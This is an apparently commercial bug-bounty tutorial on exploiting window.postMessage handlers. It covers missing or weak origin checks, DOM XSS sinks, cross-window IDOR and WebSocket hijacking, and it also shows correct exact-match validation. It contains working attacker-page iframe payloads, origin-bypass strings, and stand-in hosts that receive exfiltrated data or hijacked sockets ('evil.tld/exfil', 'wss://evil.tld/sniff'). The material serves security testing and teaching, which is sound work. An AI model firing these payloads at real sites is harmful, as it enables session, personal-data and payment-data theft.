Quick answer
window.postMessage() is the IPC channel between iframes/windows of different origins — and it's one of the most underestimated DOM XSS sinks of 2026. The rule: if a listener processes event.data without validating event.origin, any site that can open/embed your target can send the payload. Three profitable patterns: origin not validated (classic XSS), lax origin regex (bypass with sub-strings), and payload that flows to innerHTML/eval/location. Bounties: €1,500-€8,000 with a multiplier when the target is an embedded SDK (fintech, payment widgets).
The postMessage model
// Sender (cualquier origen)
window.parent.postMessage({type: "ready"}, "*");
// Receiver (target)
window.addEventListener("message", (event) => {
// event.origin → origen del sender
// event.data → payload
// event.source → window que envió
});
postMessage is cross-origin by design. The sender can be any site. Security depends entirely on the receiver validating event.origin.
Vulnerable pattern 1 — origin not validated
The sin of embedded SDKs and widgets:
window.addEventListener("message", (event) => {
// NO valida origin
const data = JSON.parse(event.data);
document.getElementById("output").innerHTML = data.html;
});
Any site that can embed this page sends:
// attacker.tld
const iframe = document.createElement("iframe");
iframe.src = "https://target.com/widget";
iframe.onload = () => {
iframe.contentWindow.postMessage(
JSON.stringify({ html: "<img src=x onerror=alert(document.domain)>" }),
"*"
);
};
document.body.appendChild(iframe);
→ XSS on target.com with same-origin cookies.
Detection
Search for all addEventListener("message", ...) in JS bundles. If the handler doesn't reference event.origin → vulnerable.
# grep en bundles minificados
grep -oP "addEventListener\(['\"]message['\"][^}]+" main.js | head -20
DevTools → Sources → search "message" → inspect the handler.
Vulnerable pattern 2 — origin validated with a weak regex
Devs know they must validate origin. But they write permissive regexes:
Anti-pattern A: indexOf / includes
if (event.origin.indexOf("target.com") !== -1) {
// process
}
Bypass:
https://target.com.attacker.tld→ contains "target.com"https://attacker.tld/target.com→ contains "target.com" (origin doesn't include the path but some parsers confuse it — depends on the browser)https://target.coma.tld→ if it only looks for "target.co"
Anti-pattern B: startsWith
if (event.origin.startsWith("https://target")) accept();
Bypass: https://target.attacker.tld starts with "https://target".
Anti-pattern C: regex without anchors
if (/target\.com/.test(event.origin)) accept();
Bypass: https://attacker.tld?x=target.com — but origin doesn't include the query so this doesn't work directly. It does work: https://target.com.attacker.tld (matches "target.com" as a substring).
Anti-pattern D: split and partial comparison
const host = event.origin.split("//")[1];
if (host.endsWith("target.com")) accept();
Bypass: https://eviltarget.com ends with "target.com".
<!-- PAYWALL -->[!warning] Correct validation
event.origin === "https://target.com"— exact match. If you need multiple origins, use an explicit whitelist:["https://target.com", "https://app.target.com"].includes(event.origin).
Vulnerable pattern 3 — origin validated, payload not sanitized
The receiver validates origin but blindly trusts the payload. If the legitimate sender is compromised (XSS, supply chain, malicious iframe), the chain is still exploitable.
window.addEventListener("message", (event) => {
if (event.origin !== "https://trusted-cdn.com") return;
document.getElementById("output").innerHTML = event.data.html; // sink
});
If trusted-cdn.com has XSS anywhere → it escalates to target.com.
Typical sinks in postMessage handlers
| Sink | Payload | Result |
|---|---|---|
innerHTML = data | <img src=x onerror=alert(1)> | DOM XSS |
eval(data) | alert(1) | DOM XSS |
setTimeout(data, 0) (string) | alert(1) | DOM XSS |
location.href = data | javascript:alert(1) | XSS via URL |
document.write(data) | <script>alert(1)</script> | DOM XSS |
| Reflected in DOM tree | poorly escaped template string | Stored-via-postMessage XSS |
fetch(data.url) with credentials | https://evil.tld/exfil | CSRF-like exfiltration |
Cross-window IDOR via postMessage
Some widgets expose RPC over postMessage — the child window requests data from the parent via postMessage({type: "getUser", id: X}) and the parent responds with the user data.
Test
// attacker.tld embebe widget
const iframe = document.createElement("iframe");
iframe.src = "https://widget.target.com/embed";
iframe.onload = () => {
iframe.contentWindow.postMessage({ type: "getUser", id: "VICTIMA" }, "*");
};
window.addEventListener("message", (event) => {
console.log("Response:", event.data); // → datos de la víctima
});
If the widget doesn't validate that the requested id belongs to the user currently authenticated in the parent → cross-window IDOR.
Vulnerable RPC patterns
{type: "getProfile", userId: X}— profile leak{type: "getEmail"}— email leak assuming "the child knows who it is"{type: "getCookie", name: "session"}— cookie exfil (a serious anti-pattern){type: "navigate", url: X}— open redirect / phishing
Source bypass — trusting event.source
Some handlers validate event.source instead of event.origin:
window.addEventListener("message", (event) => {
if (event.source === window.opener) accept();
});
Bypass: the attacker opens the target with window.open(), then places the vulnerable iframe inside it. event.source is window from the iframe — but if the app is distributed (target embeds a cdn widget), the chain is:
atacante.tld → window.open(target.com)
↓
target.com tiene iframe (widget.com)
↓
widget.com postMessage al parent (target.com)
↓
target.com responde: event.source === window.opener?
↓
widget.com es el iframe, no window.opener → falla
↓
atacante.tld es window.opener → trick:
inyectar payload desde atacante.tld via window.open ref
Source validation without origin validation is bypassable in nested scenarios.
WebSocket hijacking via postMessage
Documented pattern: a fintech SDK exposes a WebSocket connection via postMessage. The widget opens a WS to the backend to receive realtime data. If the /ws/connect endpoint is invoked via postMessage RPC:
// atacker.tld embebe widget
iframe.contentWindow.postMessage(
{ type: "wsConnect", url: "wss://evil.tld/sniff" },
"*"
);
The widget opens a WS to evil.tld → sent with target's cookies → WebSocket Hijacking via postMessage. A profitable combination when the WS carries financial tokens, payment info, or session keys.
Embedded SDK iframe — the gold mine
Payment widgets (Stripe Elements, Square, Klarna), chat widgets (Intercom, Drift), analytics widgets (Mixpanel) usually embed an iframe that communicates with the parent via postMessage.
Why they're profitable
- The parent must send sensitive data to the iframe (card number, contact info).
- The iframe must respond to the parent with events ("card valid", "user typed").
- If EITHER side has weak origin validation → PII / payment exfil.
Test pattern
- Embed the widget in
attacker.tld. - Send postMessage with all the
typevalues documented in the public SDK. - Send postMessage with undocumented
typevalues — there are frequently exposed internal handlers. - Any response with the parent's user data → leak.
Hunting checklist
- List every
addEventListener("message", ...)in the app's JS bundles. - For each handler: does it validate
event.origin? - If it validates: is it an exact match (
===) or regex/indexOf/startsWith (vulnerable)? - Identify the sink:
innerHTML,eval,location.href,document.write,setTimeout(string),fetch(data.url). - Embed the widget on your domain and send payloads exploring each
typethe handler processes. - IDOR via postMessage RPC: request data with another user's
id. - WebSocket / fetch hijack: does the handler open connections with a controllable URL?
- Source bypass: if it validates
event.source, look for chains withwindow.open+ iframe. - Embedded payment/chat/analytics SDK → undocumented handlers.
- Verify origin validation with
https://eviltarget.comandhttps://target.com.evil.tld. - Document: PoC with an iframe on attacker.tld + impact (XSS, PII leak, payment data exfil).
Related labs
Practice origin bypass, sink discovery and cross-window IDOR in postMessage labs.
Practice this in a lab
Zero Click Postmessage Origin Bypass
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El truco postMessage + WebSocket Hijacking que da takeover zero-click en SDKs embeded de fintech populares.
€7.99/mo · cancel anytime
Related articles
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.
Client-side admin bypass — boolean manipulation + BAC in a modern SPA
Real Quora report: SPA with an isAdmin boolean in localStorage that controls the UI + a backend that doesn't validate server-side. How to chain a boolean flip with BAC for admin takeover.
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.